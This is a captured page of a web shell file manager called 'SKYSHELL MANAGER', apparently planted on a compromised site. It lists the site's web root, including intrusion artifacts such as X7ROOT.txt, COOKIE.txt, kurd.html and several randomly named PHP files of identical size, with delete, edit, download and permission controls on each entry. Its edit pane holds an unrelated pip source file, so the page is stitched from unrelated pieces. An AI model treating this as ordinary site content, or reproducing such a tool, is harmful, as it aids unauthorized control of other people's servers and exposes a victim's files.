📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: release_control.py
from __future__ import annotations from dataclasses import dataclass, field from pip._vendor.packaging.utils import NormalizedName, canonicalize_name from pip._internal.exceptions import CommandError # TODO: add slots=True when Python 3.9 is dropped @dataclass class ReleaseControl: """Helper for managing which release types can be installed.""" all_releases: set[str] = field(default_factory=set) only_final: set[str] = field(default_factory=set) _order: list[tuple[str, str]] = field( init=False, default_factory=list, compare=False, repr=False ) def handle_mutual_excludes( self, value: str, target: set[str], other: set[str], attr_name: str ) -> None: """Parse and apply release control option value. Processes comma-separated package names or special values `:all:` and `:none:`. When adding packages to target, they're removed from other to maintain mutual exclusivity between all_releases and only_final. All operations are tracked in order so that the original command-line argument sequence can be reconstructed when passing options to build subprocesses. """ if value.startswith("-"): raise CommandError( "--all-releases / --only-final option requires 1 argument." ) new = value.split(",") while ":all:" in new: other.clear() target.clear() target.add(":all:") # Track :all: in order self._order.append((attr_name, ":all:")) del new[: new.index(":all:") + 1] # Without a none, we want to discard everything as :all: covers it if ":none:" not in new: return for name in new: if name == ":none:": target.clear() # Track :none: in order self._order.append((attr_name, ":none:")) continue name = canonicalize_name(name) other.discard(name) target.add(name) # Track package-specific setting in order self._order.append((attr_name, name)) def get_ordered_args(self) -> list[tuple[str, str]]: """ Get ordered list of (flag_name, value) tuples for reconstructing CLI args. Returns: List of tuples where each tuple is (attribute_name, value). The attribute_name is either 'all_releases' or 'only_final'. Example: [("all_releases", ":all:"), ("only_final", "simple")] would be reconstructed as: ["--all-releases", ":all:", "--only-final", "simple"] """ return self._order[:] def allows_prereleases(self, canonical_name: NormalizedName) -> bool | None: """ Determine if pre-releases are allowed for a package. Returns: True: Pre-releases are allowed (package in all_releases) False: Only final releases allowed (package in only_final) None: No specific setting, use default behavior """ if canonical_name in self.all_releases: return True elif canonical_name in self.only_final: return False elif ":all:" in self.all_releases: return True elif ":all:" in self.only_final: return False return None
Save